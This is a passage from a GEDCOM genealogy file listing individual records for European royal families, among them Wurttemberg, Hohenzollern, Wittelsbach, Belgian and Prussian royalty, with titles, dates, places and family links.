@I1050@ INDI\n1 NAME Otto  /Hanover/\n1 SEX M\n1 BIRT\n2 DATE        1988\n1 FAMC @F395@\n0 @I1051@ INDI\n1 NAME Andreas of_Leiningen //\n1 TITL Prince\n1 SEX M\n1 FAMS @F396@\n0 @I1052@ INDI\n1 NAME Max of_Baden //\n1 TITL Prince\n1 SEX M\n1 FAMS @F397@\n0 @I1053@ INDI\n1 NAME Frederick Francis_IV of_Mecklenburg//\n1 TITL Grand Duke\n1 SEX M\n1 FAMS @F398@\n0 @I1054@ INDI\n1 NAME Margrethe of_Denmark //\n1 SEX F\n1 FAMS @F399@\n0 @I1055@ INDI\n1 NAME Constantine  /Lambrino/\n1 TITL Col.\n1 SEX M\n1 FAMS @F400@\n0 @I1056@ INDI\n1 NAME Euphrosine  /Alcaz/\n1 SEX F\n1 FAMS @F400@\n0 @I1057@ INDI\n1 NAME Son  /Hohenzollern/\n1 SEX M\n1 FAMC @F364@\n0 @I1058@ INDI\n1 NAME Elena (Magda) /Lupescu/\n1 SEX F\n1 BIRT\n2 DATE 15 SEP 1895\n2 PLAC Jassy\n1 DEAT\n2 DATE 28 JUN 1977\n2 PLAC Estoril,Portugal\n1 FAMS @F401@\n0 @I1059@ INDI\n1 NAME Ingrid Victoria of_Sweden//\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE 28 MAR 1910\n2 PLAC Stockholm\n1 FAMS @F402@\n1 FAMC @F35@\n0 @I1060@ INDI\n1 NAME Paul of_Sparta /Oldenburg/\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1967\n1 FAMC @F163@\n0 @I1061@ INDI\n1 NAME Nicholas  /Oldenburg/\n1 SEX M\n1 BIRT\n2 DATE        1969\n1 FAMC @F163@\n0 @I1062@ INDI\n1 NAME   /Oldenburg/\n1 SEX F\n1 FAMC @F163@\n0 @I1063@ INDI\n1 NAME   /Oldenburg/\n1 SEX F\n1 FAMC @F163@\n0 @I1064@ INDI\n1 NAME Irene of_Greece /Oldenburg/\n1 TITL Crown Princess\n1 SEX F\n1 BIRT\n2 DATE        1942\n1 FAMC @F162@\n0 @I1065@ INDI\n1 NAME Petros  /Manos/\n1 TITL Col.\n1 SEX M\n1 FAMS @F403@\n0 @I1066@ INDI\n1 NAME Maria  /Argyropoulos/\n1 SEX F\n1 FAMS @F403@\n0 @I1067@ INDI\n1 NAME Frederick Eugene /Wurttemberg/\n1 SEX M\n1 BIRT\n2 DATE        1732\n1 DEAT\n2 DATE        1797\n1 FAMS @F404@\n0 @I1068@ INDI\n1 NAME Frederica of_Brandenburg- Schwedt//\n1 SEX F\n1 BIRT\n2 DATE        1736\n1 DEAT\n2 DATE        1798\n1 FAMS @F404@\n0 @I1069@ INDI\n1 NAME Augusta of_Brunswick //\n1 SEX F\n1 BIRT\n2 DATE        1764\n1 DEAT\n2 DATE        1788\n1 FAMS @F405@\n0 @I1070@ INDI\n1 NAME William_I of_Wurttemberg /Wurttemberg/\n1 TITL King\n1 SEX M\n1 BIRT\n2 DATE        1781\n1 DEAT\n2 DATE        1864\n1 FAMS @F406@\n1 FAMS @F407@\n1 FAMS @F408@\n1 FAMC @F405@\n0 @I1071@ INDI\n1 NAME Catherine  /Wurttemberg/\n1 SEX F\n1 BIRT\n2 DATE        1783\n1 DEAT\n2 DATE        1835\n1 FAMC @F405@\n0 @I1072@ INDI\n1 NAME Sophia Dorothea /Wurttemberg/\n1 SEX F\n1 BIRT\n2 DATE        1783\n1 DEAT\n2 DATE        1784\n1 FAMC @F405@\n0 @I1073@ INDI\n1 NAME Paul  /Wurttemberg/\n1 SEX M\n1 BIRT\n2 DATE        1785\n1 DEAT\n2 DATE        1852\n1 FAMS @F411@\n1 FAMC @F405@\n0 @I1074@ INDI\n1 NAME Charlotte of_Bavaria /Wittelsbach/\n1 SEX F\n1 BIRT\n2 DATE        1792\n1 DEAT\n2 DATE        1873\n1 FAMS @F406@\n1 FAMC @F431@\n0 @I1075@ INDI\n1 NAME Catherine of_Russia //\n1 TITL Grand Duchess\n1 SEX F\n1 BIRT\n2 DATE        1788\n1 DEAT\n2 DATE        1819\n1 FAMS @F407@\n0 @I1076@ INDI\n1 NAME Marie  /Wurttemberg/\n1 SEX F\n1 BIRT\n2 DATE        1816\n1 DEAT\n2 DATE        1887\n1 FAMC @F407@\n0 @I1077@ INDI\n1 NAME Sophie  /Wurttemberg/\n1 SEX F\n1 BIRT\n2 DATE 17 JUN 1818\n2 PLAC Stuttgart\n1 DEAT\n2 DATE  3 JUN 1877\n2 PLAC Het Loo,Apeldoorn\n1 FAMS @F447@\n1 FAMC @F407@\n0 @I1078@ INDI\n1 NAME Pauline of_Wurttemberg //\n1 SEX F\n1 BIRT\n2 DATE        1800\n1 DEAT\n2 DATE        1873\n1 FAMS @F408@\n0 @I1079@ INDI\n1 NAME Catherine  /Wurttemberg/\n1 SEX F\n1 BIRT\n2 DATE        1821\n1 DEAT\n2 DATE        1898\n1 FAMS @F412@\n1 FAMC @F408@\n0 @I1080@ INDI\n1 NAME Charles_I of_Wurttemberg /Wurttemberg/\n1 TITL King\n1 SEX M\n1 BIRT\n2 DATE        1823\n1 DEAT\n2 DATE        1891\n1 FAMS @F409@\n1 FAMC @F408@\n0 @I1081@ INDI\n1 NAME Augusta  /Wurttemberg/\n1 SEX F\n1 BIRT\n2 DATE        1826\n1 DEAT\n2 DATE        1898\n1 FAMS @F410@\n1 FAMC @F408@\n0 @I1082@ INDI\n1 NAME Olga of_Russia //\n1 TITL Grand Duchess\n1 SEX F\n1 BIRT\n2 DATE        1822\n1 DEAT\n2 DATE        1892\n1 FAMS @F409@\n0 @I1083@ INDI\n1 NAME Hermann of_Saxe-Weimar //\n1 TITL Prince\n1 SEX M\n1 FAMS @F410@\n0 @I1084@ INDI\n1 NAME Charlotte of_Saxe- Hildburghausen//\n1 SEX F\n1 BIRT\n2 DATE        1787\n1 DEAT\n2 DATE        1847\n1 FAMS @F411@\n0 @I1085@ INDI\n1 NAME Charlotte  /Wurttemberg/\n1 SEX F\n1 BIRT\n2 DATE        1807\n1 DEAT\n2 DATE        1873\n1 FAMC @F411@\n0 @I1086@ INDI\n1 NAME Frederick  /Wurttemberg/\n1 SEX M\n1 BIRT\n2 DATE        1808\n1 DEAT\n2 DATE        1870\n1 FAMS @F412@\n1 FAMC @F411@\n0 @I1087@ INDI\n1 NAME Paul  /Wurttemberg/\n1 SEX M\n1 BIRT\n2 DATE        1809\n1 DEAT\n2 DATE        1810\n1 FAMC @F411@\n0 @I1088@ INDI\n1 NAME Pauline  /Wurttemberg/\n1 SEX F\n1 BIRT\n2 DATE        1810\n1 DEAT\n2 DATE        1856\n1 FAMC @F411@\n0 @I1089@ INDI\n1 NAME August  /Wurttemberg/\n1 SEX M\n1 BIRT\n2 DATE        1813\n1 DEAT\n2 DATE        1885\n1 FAMC @F411@\n0 @I1090@ INDI\n1 NAME William_II of_Wurttemberg /Wurttemberg/\n1 TITL King\n1 SEX M\n1 BIRT\n2 DATE        1848\n1 DEAT\n2 DATE        1921\n1 FAMS @F413@\n1 FAMS @F415@\n1 FAMC @F412@\n0 @I1091@ INDI\n1 NAME Marie of_Waldeck and_Pyrmont//\n1 SEX F\n1 BIRT\n2 DATE        1857\n1 DEAT\n2 DATE        1882\n1 FAMS @F413@\n0 @I1092@ INDI\n1 NAME Pauline  /Wurttemberg/\n1 SEX F\n1 BIRT\n2 DATE        1877\n1 DEAT\n2 DATE        1965\n1 FAMS @F414@\n1 FAMC @F413@\n0 @I1093@ INDI\n1 NAME Ulrich  /Wurttemberg/\n1 SEX M\n1 BIRT\n2 DATE        1880\n1 DEAT\n2 DATE        1880\n1 FAMC @F413@\n0 @I1094@ INDI\n1 NAME Frederick  //\n1 TITL Prince of Wied\n1 SEX M\n1 FAMS @F414@\n0 @I1095@ INDI\n1 NAME Charlotte of_Schaumburg- Lippe//\n1 SEX F\n1 BIRT\n2 DATE        1864\n1 DEAT\n2 DATE        1946\n1 FAMS @F415@\n0 @I1096@ INDI\n1 NAME Nicholas  /Hohenzollern/\n1 SEX M\n1 BIRT\n2 DATE        1903\n1 DEAT\n2 DATE        1978\n1 FAMC @F100@\n0 @I1097@ INDI\n1 NAME Ileana  /Hohenzollern/\n1 SEX F\n1 BIRT\n2 DATE        1909\n1 FAMC @F100@\n0 @I1098@ INDI\n1 NAME Mircea  /Hohenzollern/\n1 BIRT\n2 DATE        1913\n1 DEAT\n2 DATE  2 NOV 1916\n1 BURI\n2 PLAC Cotroceni Palace,Bucharest,Romania\n1 FAMC @F100@\n0 @I1099@ INDI\n1 NAME Leopold of_Hohenzollern /Hohenzollern/\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1835\n1 DEAT\n2 DATE        1905\n1 FAMS @F416@\n1 FAMC @F418@\n0 @I1100@ INDI\n1 NAME Antonia of_Portugal //\n1 SEX F\n1 BIRT\n2 DATE        1845\n1 DEAT\n2 DATE        1913\n1 FAMS @F416@\n0 @I1101@ INDI\n1 NAME William of_Hohenzollern /Hohenzollern/\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1864\n1 DEAT\n2 DATE        1927\n1 FAMC @F416@\n0 @I1102@ INDI\n1 NAME Charles Anthony /Hohenzollern/\n1 SEX M\n1 BIRT\n2 DATE        1868\n1 DEAT\n2 DATE        1919\n1 FAMS @F417@\n1 FAMC @F416@\n0 @I1103@ INDI\n1 NAME Josephine of_Belgium //\n1 SEX F\n1 BIRT\n2 DATE        1872\n1 DEAT\n2 DATE        1958\n1 FAMS @F417@\n1 FAMC @F422@\n0 @I1104@ INDI\n1 NAME Charles Anthony /Hohenzollern/\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1811\n1 DEAT\n2 DATE        1885\n1 FAMS @F418@\n0 @I1105@ INDI\n1 NAME Josephine of_Baden //\n1 SEX F\n1 BIRT\n2 DATE        1813\n1 DEAT\n2 DATE        1900\n1 FAMS @F418@\n0 @I1106@ INDI\n1 NAME Stephanie  /Hohenzollern/\n1 SEX F\n1 BIRT\n2 DATE        1837\n1 DEAT\n2 DATE        1859\n1 FAMS @F419@\n1 FAMC @F418@\n0 @I1107@ INDI\n1 NAME Carol_I of_Romania /Hohenzollern/\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE 20 APR 1839\n2 PLAC Sigmaringen,Germany\n1 DEAT\n2 DATE 10 OCT 1914\n2 PLAC Castle Pelesch,Sinaia,Romania\n1 FAMS @F420@\n1 FAMC @F418@\n0 @I1108@ INDI\n1 NAME Anthony  /Hohenzollern/\n1 SEX M\n1 BIRT\n2 DATE        1841\n1 DEAT\n2 DATE        1866\n1 FAMC @F418@\n0 @I1109@ INDI\n1 NAME Frederick  /Hohenzollern/\n1 SEX M\n1 BIRT\n2 DATE        1843\n1 DEAT\n2 DATE        1904\n1 FAMS @F421@\n1 FAMC @F418@\n0 @I1110@ INDI\n1 NAME Marie  /Hohenzollern/\n1 SEX F\n1 BIRT\n2 DATE        1845\n1 DEAT\n2 DATE        1912\n1 FAMS @F422@\n1 FAMC @F418@\n0 @I1111@ INDI\n1 NAME Pedro_V  //\n1 TITL King of Portugal\n1 SEX M\n1 FAMS @F419@\n0 @I1112@ INDI\n1 NAME Elisabeth of_Wied //\n1 SEX F\n1 BIRT\n2 DATE 29 DEC 1843\n2 PLAC Neuwied,Germany\n1 DEAT\n2 DATE  3 MAR 1916\n2 PLAC Curtea de Arges,Romania\n1 FAMS @F420@\n0 @I1113@ INDI\n1 NAME Louise of_Thurn and_Taxis//\n1 SEX F\n1 FAMS @F421@\n0 @I1114@ INDI\n1 NAME Philip of_Flanders //\n1 TITL Count\n1 SEX M\n1 BIRT\n2 DATE        1837\n1 DEAT\n2 DATE        1905\n1 FAMS @F422@\n1 FAMC @F663@\n0 @I1115@ INDI\n1 NAME Baudouin  //\n1 SEX M\n1 BIRT\n2 DATE        1869\n1 DEAT\n2 DATE        1891\n1 FAMC @F422@\n0 @I1116@ INDI\n1 NAME Henriette (twin) //\n1 SEX F\n1 BIRT\n2 DATE        1870\n1 DEAT\n2 DATE        1948\n1 FAMS @F1362@\n1 FAMC @F422@\n0 @I1117@ INDI\n1 NAME Josephine (twin) //\n1 SEX F\n1 BIRT\n2 DATE        1870\n1 DEAT\n2 DATE        1871\n1 FAMC @F422@\n0 @I1118@ INDI\n1 NAME Albert_I  //\n1 TITL King of Belgians\n1 SEX M\n1 BIRT\n2 DATE  8 APR 1875\n2 PLAC Brussels,Belgium\n1 DEAT\n2 DATE 17 FEB 1934\n2 PLAC Marche-les-Dames,Near Namur\n1 FAMS @F423@\n1 FAMC @F422@\n0 @I1119@ INDI\n1 NAME Elisabeth of_Bavaria //\n1 SEX F\n1 BIRT\n2 DATE 25 JUL 1876\n2 PLAC Possenhofen\n1 DEAT\n2 DATE 23 NOV 1965\n2 PLAC Chateau de,Stuyvenberg\n1 BURI\n2 PLAC Laeken\n1 FAMS @F423@\n1 FAMC @F441@\n0 @I1120@ INDI\n1 NAME Charles of_Belgium //\n1 TITL Regent\n1 SEX M\n1 BIRT\n2 DATE        1903\n1 DEAT\n2 DATE        1983\n1 FAMC @F423@\n0 @I1121@ INDI\n1 NAME Marie Jose //\n1 SEX F\n1 BIRT\n2 DATE        1906\n1 FAMS @F424@\n1 FAMC @F423@\n0 @I1122@ INDI\n1 NAME Umberto_II  //\n1 TITL King of Italy\n1 SEX M\n1 BIRT\n2 DATE        1904\n1 DEAT\n2 DATE        1983\n1 FAMS @F424@\n0 @I1123@ INDI\n1 NAME Josephine Charlotte //\n1 SEX F\n1 BIRT\n2 DATE        1927\n1 FAMS @F425@\n1 FAMC @F216@\n0 @I1124@ INDI\n1 NAME Albert  //\n1 TITL Prince of Liege\n1 SEX M\n1 BIRT\n2 DATE        1934\n1 FAMS @F427@\n1 FAMC @F216@\n0 @I1125@ INDI\n1 NAME Jean of_Luxembourg //\n1 TITL Grand Duke\n1 SEX M\n1 BIRT\n2 DATE        1921\n1 FAMS @F425@\n0 @I1126@ INDI\n1 NAME Fabiola de_Mora_y_Aragon //\n1 SEX F\n1 BIRT\n2 DATE 11 JUN 1928\n2 PLAC Madrid,Spain\n1 FAMS @F426@\n0 @I1127@ INDI\n1 NAME Paola di_Calabria /Ruffo/\n1 SEX F\n1 BIRT\n2 DATE        1937\n1 FAMS @F427@\n0 @I1128@ INDI\n1 NAME Philippe  //\n1 SEX M\n1 BIRT\n2 DATE        1960\n1 FAMC @F427@\n0 @I1129@ INDI\n1 NAME Astrid  //\n1 SEX F\n1 BIRT\n2 DATE        1962\n1 FAMS @F428@\n1 FAMC @F427@\n0 @I1130@ INDI\n1 NAME Laurent  //\n1 SEX M\n1 BIRT\n2 DATE        1963\n1 FAMC @F427@\n0 @I1131@ INDI\n1 NAME Lorenz of_Austria-Este //\n1 TITL Archduke\n1 SEX M\n1 BIRT\n2 DATE        1955\n1 FAMS @F428@\n0 @I1132@ INDI\n1 NAME Mary Liliane /Baels/\n1 SEX F\n1 BIRT\n2 DATE 28 NOV 1916\n2 PLAC Highbury,London,England\n1 FAMS @F429@\n0 @I1133@ INDI\n1 NAME Alexandre  //\n1 SEX M\n1 BIRT\n2 DATE        1942\n1 FAMC @F429@\n0 @I1134@ INDI\n1 NAME Marie Christine //\n1 SEX F\n1 BIRT\n2 DATE        1951\n1 FAMS @F430@\n1 FAMC @F429@\n0 @I1135@ INDI\n1 NAME Marie Esmeralda //\n1 SEX F\n1 BIRT\n2 DATE        1956\n1 FAMC @F429@\n0 @I1136@ INDI\n1 NAME Paul  /Druker/\n1 SEX M\n1 FAMS @F430@\n0 @I1137@ INDI\n1 NAME Augusta Wilhelmine of_Hesse-//\n1 SEX F\n1 BIRT\n2 DATE 14 APR 1765\n2 PLAC Darmstadt\n1 DEAT\n2 DATE 30 MAR 1796\n2 PLAC Near,Heidelberg,Germany\n1 FAMS @F431@\n0 @I1138@ INDI\n1 NAME Ludwig_I  /Wittelsbach/\n1 TITL King of Bavaria\n1 SEX M\n1 BIRT\n2 DATE 25 AUG 1786\n2 PLAC Strassburg\n1 DEAT\n2 DATE 29 FEB 1868\n2 PLAC Nice\n1 BURI\n2 PLAC St. Boniface,Church,Munich\n1 FAMS @F432@\n1 FAMC @F431@\n0 @I1139@ INDI\n1 NAME Auguste  /Wittelsbach/\n1 SEX F\n1 BIRT\n2 DATE        1788\n1 DEAT\n2 DATE        1851\n1 FAMC @F431@\n0 @I1140@ INDI\n1 NAME Amelia  /Wittelsbach/\n1 SEX F\n1 BIRT\n2 DATE        1790\n1 DEAT\n2 DATE        1794\n1 FAMC @F431@\n0 @I1141@ INDI\n1 NAME Charles  /Wittelsbach/\n1 SEX M\n1 BIRT\n2 DATE        1795\n1 DEAT\n2 DATE        1875\n1 FAMC @F431@\n0 @I1142@ INDI\n1 NAME Therese of_Saxe- Hildburghausen//\n1 SEX F\n1 BIRT\n2 DATE  8 JUL 1792\n2 PLAC Hildburghausen\n1 DEAT\n2 DATE 26 OCT 1854\n2 PLAC Munich\n1 BURI\n2 PLAC St. Boniface,Church,Munich\n1 FAMS @F432@\n0 @I1143@ INDI\n1 NAME Maximilian_II  //\n1 TITL King of Bavaria\n1 SEX M\n1 BIRT\n2 DATE 28 NOV 1811\n2 PLAC Munich\n1 DEAT\n2 DATE 10 MAR 1864\n2 PLAC Munich\n1 BURI\n2 PLAC Theatinerkirche\n1 FAMS @F433@\n1 FAMC @F432@\n0 @I1144@ INDI\n1 NAME Marie of_Prussia //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE 15 OCT 1825\n2 PLAC Berlin\n1 DEAT\n2 DATE 17 MAY 1889\n2 PLAC Schloss,Hohenschwangau\n1 BURI\n2 PLAC Theatinerkirche\n1 FAMS @F433@\n0 @I1145@ INDI\n1 NAME Ludwig_II  /Wittelsbach/\n1 TITL King of Bavaria\n1 SEX M\n1 BIRT\n2 DATE 25 AUG 1845\n2 PLAC Schloss,Nymphenburg\n1 DEAT\n2 DATE 13 JUN 1886\n2 PLAC Starnbergersee,Near Schloss,Berg\n1 BURI\n2 PLAC St. Michaels,Church,Munich\n1 FAMC @F433@\n0 @I1146@ INDI\n1 NAME Otto_I  /Wittelsbach/\n1 TITL King of Bavaria\n1 SEX M\n1 BIRT\n2 DATE 27 APR 1848\n2 PLAC Munich\n1 DEAT\n2 DATE 11 OCT 1916\n2 PLAC Near,Munich\n1 BURI\n2 PLAC St. Michaels,Church,Munich\n1 FAMC @F433@\n0 @I1147@ INDI\n1 NAME 5sons_1dau  //\n1 FAMC @F598@\n0 @I1148@ INDI\n1 NAME Otto_I Friedrich Ludwig/Wittelsbach/\n1 TITL King of Greece\n1 SEX M\n1 BIRT\n2 DATE  1 JUN 1815\n2 PLAC Salzburg,Austria\n1 DEAT\n2 DATE 26 JUL 1867\n2 PLAC Bamberg,Germany\n1 BURI\n2 PLAC Theatinerkirche,Munich,Germany\n1 FAMS @F662@\n1 FAMC @F432@\n0 @I1149@ INDI\n1 NAME Theodolinde  //\n1 BIRT\n2 DATE        1816\n1 DEAT\n2 DATE        1817\n1 FAMC @F432@\n0 @I1150@ INDI\n1 NAME Luitpold  //\n1 TITL Regent\n1 SEX M\n1 BIRT\n2 DATE        1821\n1 DEAT\n2 DATE        1912\n1 FAMS @F438@\n1 FAMC @F432@\n0 @I1151@ INDI\n1 NAME Adelgunde  //\n1 SEX F\n1 BIRT\n2 DATE        1823\n1 DEAT\n2 DATE        1914\n1 FAMC @F432@\n0 @I1152@ INDI\n1 NAME Hildegarde  //\n1 SEX F\n1 BIRT\n2 DATE        1825\n1 DEAT\n2 DATE        1864\n1 FAMC @F432@\n0 @I1153@ INDI\n1 NAME Adalbert  //\n1 SEX M\n1 BIRT\n2 DATE        1828\n1 DEAT\n2 DATE        1875\n1 FAMC @F432@\n0 @I1154@ INDI\n1 NAME Maximilian  /Wittelsbach/\n1 SEX M\n1 BIRT\n2 DATE        1800\n1 DEAT\n2 DATE        1803\n1 FAMC @F232@\n0 @I1155@ INDI\n1 NAME Elizabeth (twin) of_Bavaria/Wittelsbach/\n1 SEX F\n1 BIRT\n2 DATE        1801\n1 DEAT\n2 DATE        1873\n1 FAMS @F434@\n1 FAMC @F232@\n0 @I1156@ INDI\n1 NAME Amelia (twin) /Wittelsbach/\n1 SEX F\n1 BIRT\n2 DATE        1801\n1 DEAT\n2 DATE        1877\n1 FAMC @F232@\n0 @I1157@ INDI\n1 NAME Maria (twin) /Wittelsbach/\n1 SEX F\n1 BIRT\n2 DATE        1805\n1 DEAT\n2 DATE        1877\n1 FAMC @F232@\n0 @I1158@ INDI\n1 NAME Ludovica (Louise) /Wittelsbach/\n1 SEX F\n1 BIRT\n2 DATE        1808\n1 DEAT\n2 DATE        1892\n1 FAMS @F440@\n1 FAMC @F232@\n0 @I1159@ INDI\n1 NAME Maximiliana  /Wittelsbach/\n1 SEX F\n1 BIRT\n2 DATE        1810\n1 DEAT\n2 DATE        1821\n1 FAMC @F232@\n0 @I1160@ INDI\n1 NAME Frederick Louis //\n1 SEX M\n1 BIRT\n2 DATE        1707\n1 DEAT\n2 DATE        1708\n1 FAMC @F435@\n0 @I1161@ INDI\n1 NAME Frederick William //\n1 SEX M\n1 BIRT\n2 DATE        1710\n1 DEAT\n2 DATE        1711\n1 FAMC @F435@\n0 @I1162@ INDI\n1 NAME Frederick_II the_Great //\n1 TITL King of Prussia\n1 SEX M\n1 BIRT\n2 DATE 24 JAN 1712\n2 PLAC Berlin,Germany\n1 DEAT\n2 DATE 17 AUG 1786\n2 PLAC Sans Souci,Potsdam,Germany\n1 FAMS @F623@\n1 FAMC @F435@\n0 @I1163@ INDI\n1 NAME Charlotte Albertine //\n1 SEX F\n1 BIRT\n2 DATE        1713\n1 DEAT\n2 DATE        1714\n1 FAMC @F435@\n0 @I1164@ INDI\n1 NAME Frederica Louise //\n1 SEX F\n1 BIRT\n2 DATE        1714\n1 DEAT\n2 DATE        1784\n1 FAMC @F435@\n0 @I1165@ INDI\n1 NAME Philippine Charlotte //\n1 SEX F\n1 BIRT\n2 DATE        1716\n1 DEAT\n2 DATE        1801\n1 FAMC @F435@\n0 @I1166@ INDI\n1 NAME Louis Charles William//\n1 SEX M\n1 BIRT\n2 DATE        1717\n1 DEAT\n2 DATE        1719\n1 FAMC @F435@\n0 @I1167@ INDI\n1 NAME Sophia  //\n1 SEX F\n1 BIRT\n2 DATE        1719\n1 DEAT\n2 DATE        1765\n1 FAMC @F435@\n0 @I1168@ INDI\n1 NAME Louise Ulrika //\n1 SEX F\n1 BIRT\n2 DATE        1720\n1 DEAT\n2 DATE        1782\n1 FAMC @F435@\n0 @I1169@ INDI\n1 NAME Anna Amelia //\n1 SEX F\n1 BIRT\n2 DATE        1725\n1 DEAT\n2 DATE        1787\n1 FAMC @F435@\n0 @I1170@ INDI\n1 NAME Henry  //\n1 SEX M\n1 BIRT\n2 DATE        1726\n1 DEAT\n2 DATE        1802\n1 FAMC @F435@\n0 @I1171@ INDI\n1 NAME Ferdinand  //\n1 SEX M\n1 BIRT\n2 DATE        1730\n1 DEAT\n2 DATE        1813\n1 FAMC @F435@\n0 @I1172@ INDI\n1 NAME Heinrich_XXII  /Reuss/\n1 TITL Prince\n1 SEX M\n1 FAMS @F278@\n0 @I1173@ INDI\n1 NAME Elizabeth Henrietta of_Hesse-Cassel//\n1 SEX F\n1 BIRT\n2 DATE  8 NOV 1661\n2 PLAC Cassel\n1 DEAT\n2 DATE 27 JUN 1683\n2 PLAC Coln au Der,Spree\n1 FAMS @F436@\n0 @I1174@ INDI\n1 NAME Louise  //\n1 SEX F\n1 BIRT\n2 DATE        1680\n1 DEAT\n2 DATE        1705\n1 FAMC @F436@\n0 @I1175@ INDI\n1 NAME Frederick_I  //\n1 TITL King of Sweden\n1 SEX M\n1 FAMC @F436@\n0 @I1176@ INDI\n1 NAME Sophia Louise of_Mecklenburg-//\n1 SEX F\n1 BIRT\n2 DATE 16 MAY 1685\n1 DEAT\n2 DATE 29 JUL 1735\n2 PLAC Grabow\n1 FAMS @F437@\n0 @I1177@ INDI\n1 NAME Frederick Augustus //\n1 SEX M\n1 BIRT\n2 DATE        1685\n1 DEAT\n2 DATE        1686\n1 FAMC @F267@\n0 @I1178@ INDI\n1 NAME Son (stillborn) //\n1 SEX M\n1 FAMC @F267@\n0 @I1179@ INDI\n1 NAME Augusta of_Austria- Tuscany//\n1 TITL Archduchess\n1 SEX F\n1 BIRT\n2 DATE        1825\n1 DEAT\n2 DATE        1864\n1 FAMS @F438@\n0 @I1180@ INDI\n1 NAME Leopold  //\n1 SEX M\n1 BIRT\n2 DATE        1846\n1 DEAT\n2 DATE        1930\n1 FAMC @F438@\n0 @I1181@ INDI\n1 NAME Therese  //\n1 SEX F\n1 BIRT\n2 DATE        1850\n1 DEAT\n2 DATE        1925\n1 FAMC @F438@\n0 @I1182@ INDI\n1 NAME Amulf  //\n1 SEX M\n1 BIRT\n2 DATE        1852\n1 DEAT\n2 DATE        1907\n1 FAMC @F438@\n0 @I1183@ INDI\n1 NAME Luitpold  //\n1 SEX M\n1 BIRT\n2 DATE        1901\n1 DEAT\n2 DATE        1914\n1 FAMC @F258@\n0 @I1184@ INDI\n1 NAME Irmingard  //\n1 SEX F\n1 BIRT\n2 DATE        1902\n1 DEAT\n2 DATE        1903\n1 FAMC @F258@\n0 @I1185@ INDI\n1 NAME Rudolf  //\n1 SEX M\n1 BIRT\n2 DATE        1909\n1 DEAT\n2 DATE        1912\n1 FAMC @F258@\n0 @I1186@ INDI\n1 NAME Antoinette of_Luxembourg //\n1 SEX F\n1 BIRT\n2 DATE        1899\n1 DEAT\n2 DATE        1954\n1 FAMS @F439@\n0 @I1187@ INDI\n1 NAME Henry  //\n1 SEX M\n1 BIRT\n2 DATE        1922\n1 DEAT\n2 DATE        1958\n1 FAMC @F439@\n0 @I1188@ INDI\n1 NAME Irmingard  //\n1 SEX F\n1 BIRT\n2 DATE        1923\n1 FAMC @F439@\n0 @I1189@ INDI\n1 NAME Editha  //\n1 SEX F\n1 BIRT\n2 DATE        1924\n1 FAMC @F439@\n0 @I1190@ INDI\n1 NAME Hilda  //\n1 SEX F\n1 BIRT\n2 DATE        1926\n1 FAMC @F439@\n0 @I1191@ INDI\n1 NAME Gabriele  //\n1 SEX F\n1 BIRT\n2 DATE        1927\n1 FAMC @F439@\n0 @I1192@ INDI\n1 NAME Sophie  //\n1 SEX F\n1 BIRT\n2 DATE        1935\n1 FAMC @F439@\n0 @I1193@ INDI\n1 NAME Maximilian Joseph //\n1 TITL Duke of Bavaria\n1 SEX M\n1 FAMS @F440@\n0 @I1194@ INDI\n1 NAME Ludwig  //\n1 SEX M\n1 BIRT\n2 DATE        1831\n1 DEAT\n2 DATE        1920\n1 FAMC @F440@\n0 @I1195@ INDI\n1 NAME Helene  //\n1 SEX F\n1 BIRT\n2 DATE        1834\n1 DEAT\n2 DATE        1858\n1 FAMC @F440@\n0 @I1196@ INDI\n1 NAME Elizabeth  //\n1 TITL Empress\n1 SEX F\n1 BIRT\n2 DATE        1837\n1 DEAT\n2 DATE        1898\n1 FAMS @F532@\n1 FAMC @F440@\n0 @I1197@ INDI\n1 NAME Karl Theodor \"Gackl\"//\n1 SEX M\n1 BIRT\n2 DATE        1839\n1 DEAT\n2 DATE        1909\n1 FAMS @F441@\n1 FAMC @F440@\n0 @I1198@ INDI\n1 NAME Maria  //\n1 SEX F\n1 BIRT\n2 DATE        1841\n1 DEAT\n2 DATE        1925\n1 FAMC @F440@\n0 @I1199@ INDI\n1 NAME Mathilde  //\n1 SEX F\n1 BIRT\n2 DATE        1843\n1 DEAT\n2 DATE        1925\n1 FAMC @F440@\n0 @I1200@ INDI\n1 NAME Sophie  //\n1 SEX F\n1 BIRT\n2 DATE        1847\n1 DEAT\n2 DATE        1897\n1 FAMS @F533@\n1 FAMC @F440@\n0 @I1201@ INDI\n1 NAME Maximilian  //\n1 SEX M\n1 BIRT\n2 DATE        1849\n1 DEAT\n2 DATE        1893\n1 FAMC @F440@\n0 @I1202@ INDI\n1 NAME Maria Josepha of_Portugal//\n1 SEX F\n1 BIRT\n2 DATE        1857\n1 DEAT\n2 DATE        1943\n1 FAMS @F441@\n1 FAMC @F1361@\n0 @I1203@ INDI\n1 NAME Alexander  /Zoubkoff/\n1 SEX M\n1 FAMS @F442@\n0 @I1204@ INDI\n1 NAME Irene  //\n1 SEX F\n1 BIRT\n2 DATE        1939\n1 FAMS @F657@\n1 FAMC @F243@\n0 @I1205@ INDI\n1 NAME Margaret  //\n1 SEX F\n1 BIRT\n2 DATE        1943\n1 FAMS @F658@\n1 FAMC @F243@\n0 @I1206@ INDI\n1 NAME Mary Christina //\n1 SEX F\n1 BIRT\n2 DATE        1947\n1 FAMS @F659@\n1 FAMC @F243@\n0 @I1207@ INDI\n1 NAME Claus  /von_Amsberg/\n1 SEX M\n1 BIRT\n2 DATE  6 SEP 1926\n2 PLAC Dotzingen\n1 FAMS @F443@\n1 FAMC @F444@\n0 @I1208@ INDI\n1 NAME William Alexander //\n1 TITL Prince of Orange\n1 SEX M\n1 BIRT\n2 DATE        1967\n1 FAMC @F443@\n0 @I1209@ INDI\n1 NAME John Friso //\n1 SEX M\n1 BIRT\n2 DATE        1968\n1 FAMC @F443@\n0 @I1210@ INDI\n1 NAME Constantine  //\n1 SEX M\n1 BIRT\n2 DATE        1969\n1 FAMC @F443@\n0 @I1211@ INDI\n1 NAME Claus  /von_Amsberg/\n1 SEX M\n1 FAMS @F444@\n0 @I1212@ INDI\n1 NAME Gosta  /von_dem_Bussche-/\n1 TITL Baroness\n1 SEX F\n1 FAMS @F444@\n0 @I1213@ INDI\n1 NAME Frederick Francis_II 